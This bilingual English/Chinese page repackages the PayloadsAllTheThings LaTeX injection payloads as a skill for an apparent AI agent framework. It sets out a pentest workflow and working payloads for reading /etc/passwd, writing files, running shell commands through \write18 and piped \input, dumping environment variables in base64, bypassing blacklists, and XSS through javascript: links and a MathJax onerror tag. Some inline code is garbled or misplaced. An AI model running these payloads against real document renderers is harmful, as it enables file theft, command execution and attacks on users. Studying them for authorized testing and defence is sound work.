payloads-latex
Compare original and translation side by side
🇺🇸
Original
English🇨🇳
Translation
ChineseLaTeX Injection Payloads
LaTeX Injection Payloads
Source: PayloadsAllTheThings/LaTeX Injection Category:| Skill ID:payloads-injectionpayloads-latex
Overview
概述
LaTeX injection payloads for file read, command execution in PDF/math renderers.
This skill integrates the full PayloadsAllTheThings (PATT) payload library for the LaTeX Injection Payloads domain into the REA_Skill framework. Use it during authorized penetration testing, bug bounty research, security audits, and CTF challenges.
用于在 PDF/数学渲染器中读取文件和执行命令的 LaTeX 注入 Payload。
此 skill 将完整的 PayloadsAllTheThings(PATT)Payload 库集成到 REA_Skill 框架中,涵盖 LaTeX Injection Payloads 领域。应在获得授权的渗透测试、漏洞赏金研究、安全审计和 CTF 挑战中使用此 skill。
Workflow
工作流
1. Recon & Identification
1. 侦察与识别
- Identify the target technology stack and injection points
- Enumerate endpoints, parameters, and input vectors
- Determine applicable payload categories from the reference below
- 识别目标技术栈和注入点
- 枚举端点、参数和输入向量
- 根据下方参考确定适用的 Payload 类别
2. Payload Selection
2. Payload 选择
- Browse the PATT payload library for the attack class
- Select encoding-appropriate payloads for the target environment
- Consider WAF bypass variants and obfuscation techniques
- 在 PATT Payload 库中查找目标攻击类别
- 为目标环境选择编码方式合适的 Payload
- 考虑 WAF 绕过变体和混淆技术
3. Exploitation (Authorized Only)
3. 利用(仅限授权场景)
- Test payloads in order: passive → active → escalation
- Document every payload tested and its response
- Capture PoC evidence (screenshots, HTTP logs, curl output)
- 按顺序测试 Payload:被动 → 主动 → 权限提升
- 记录每个已测试的 Payload 及其响应
- 收集 PoC 证据(截图、HTTP 日志、curl 输出)
4. Verification & Reporting
4. 验证与报告
- Confirm the vulnerability with a clean minimal PoC
- Map findings to CVE/CWE where applicable
- Report with remediation recommendations and code fixes
- 使用干净、精简的 PoC 确认漏洞
- 在适用的情况下,将发现映射到 CVE/CWE
- 提交报告,并附上修复建议和代码修复方案
Full PATT Reference
完整 PATT 参考
LaTeX Injection
LaTeX Injection
LaTeX Injection is a type of injection attack where malicious content is injected into LaTeX documents. LaTeX is widely used for document preparation and typesetting, particularly in academia, for producing high-quality scientific and mathematical documents. Due to its powerful scripting capabilities, LaTeX can be exploited by attackers to execute arbitrary commands if proper safeguards are not in place.
LaTeX Injection 是一种注入攻击,攻击者会将恶意内容注入 LaTeX 文档。LaTeX 广泛用于文档准备和排版,尤其是在学术界,用于生成高质量的科学和数学文档。由于其强大的脚本能力,如果缺乏适当的安全措施,攻击者可以利用 LaTeX 执行任意命令。
Summary
摘要
File Manipulation
文件操作
Read File
读取文件
Attackers can read the content of sensitive files on the server.
Read file and interpret the LaTeX code in it:
tex
\input{/etc/passwd}
\include{somefile} # load .tex file (somefile.tex)Read single lined file:
tex
\newread\file
\openin\file=/etc/issue
\read\file to\line
\text{\line}
\closein\fileRead multiple lined file:
tex
\lstinputlisting{/etc/passwd}
\newread\file
\openin\file=/etc/passwd
\loop\unless\ifeof\file
\read\file to\fileline
\text{\fileline}
\repeat
\closein\fileRead text file, without interpreting the content, it will only paste raw file content:
tex
\usepackage{verbatim}
\verbatiminput{/etc/passwd}If injection point is past document header ( cannot be used), some control
characters can be deactivated in order to use on file containing , ,
, , null bytes, ... (eg. perl scripts).
\usepackage\input$#_&tex
\catcode `\$=12
\catcode `\#=12
\catcode `\_=12
\catcode `\&=12
\input{path_to_script.pl}To bypass a blacklist try to replace one character with it's unicode hex value.
- ^^41 represents a capital A
- ^^7e represents a tilde (~) note that the ‘e’ must be lower case
tex
\lstin^^70utlisting{/etc/passwd}攻击者可以读取服务器上敏感文件的内容。
读取文件并解释其中的 LaTeX 代码:
tex
\input{/etc/passwd}
\include{somefile} # load .tex file (somefile.tex)读取单行文件:
tex
\newread\file
\openin\file=/etc/issue
\read\file to\line
\text{\line}
\closein\file读取多行文件:
tex
\lstinputlisting{/etc/passwd}
\newread\file
\openin\file=/etc/passwd
\loop\unless\ifeof\file
\read\file to\fileline
\text{\fileline}
\repeat
\closein\file读取文本文件,不解释其内容,仅粘贴原始文件内容:
tex
\usepackage{verbatim}
\verbatiminput{/etc/passwd}如果注入点位于文档头之后(无法使用 ),可以停用某些控制字符,以便对包含 、、、、空字节等内容的文件使用 (例如 Perl 脚本)。
\usepackage$#_&\inputtex
\catcode `\$=12
\catcode `\#=12
\catcode `\_=12
\catcode `\&=12
\input{path_to_script.pl}要绕过黑名单,可以尝试将某个字符替换为其 Unicode 十六进制值。
- ^^41 表示大写字母 A
- ^^7e 表示波浪号(~);注意,必须为小写
e
tex
\lstin^^70utlisting{/etc/passwd}Write File
写入文件
Write single lined file:
tex
\newwrite\outfile
\openout\outfile=cmd.tex
\write\outfile{Hello-world}
\write\outfile{Line 2}
\write\outfile{I like trains}
\closeout\outfile写入单行文件:
tex
\newwrite\outfile
\openout\outfile=cmd.tex
\write\outfile{Hello-world}
\write\outfile{Line 2}
\write\outfile{I like trains}
\closeout\outfileCommand Execution
命令执行
The output of the command will be redirected to stdout, therefore you need to use a temp file to get it.
tex
\immediate\write18{id > output}
\input{output}If you get any LaTex error, consider using base64 to get the result without bad characters (or use ):
\verbatiminputtex
\immediate\write18{env | base64 > test.tex}
\input{text.tex}tex
\input|ls|base64
\input{|"/bin/hostname"}命令输出会被重定向到 stdout,因此需要借助临时文件获取结果。
tex
\immediate\write18{id > output}
\input{output}如果遇到任何 LaTeX 错误,可以考虑使用 base64 对结果进行编码,以避开不良字符(或者使用 ):
\verbatiminputtex
\immediate\write18{env | base64 > test.tex}
\input{text.tex}tex
\input|ls|base64
\input{|"/bin/hostname"}Cross Site Scripting
跨站脚本
From @EdOverflow
tex
\url{javascript:alert(1)}
\href{javascript:alert(1)}{placeholder}In mathjax
tex
\unicode{<img src=1 onerror="<ARBITRARY_JS_CODE>">}来自 @EdOverflow
tex
\url{javascript:alert(1)}
\href{javascript:alert(1)}{placeholder}在 MathJax 中:
tex
\unicode{<img src=1 onerror="<ARBITRARY_JS_CODE>">}Labs
实验室
References
参考资料
REA MCP Integration
REA MCP 集成
javascript
// REA MCP — Automated payload injection via REA tools
// Use analyze_function, procedure_pseudo_code, or observe_native_calls
// to identify injection sinks, then apply payloads from this skill.javascript
// REA MCP — Automated payload injection via REA tools
// Use analyze_function, procedure_pseudo_code, or observe_native_calls
// to identify injection sinks, then apply payloads from this skill.Legal Notice
法律声明
⚠️ Authorized Use Only. All payloads in this skill are for security research, penetration testing with written permission, CTF competitions, and defensive study. Unauthorized use against systems you do not own or have explicit permission to test is illegal.
⚠️ 仅限授权使用。 此 skill 中的所有 Payload 均用于安全研究、获得书面许可的渗透测试、CTF 比赛和防御性研究。未经授权,将这些 Payload 用于您不拥有或未获明确测试许可的系统属于违法行为。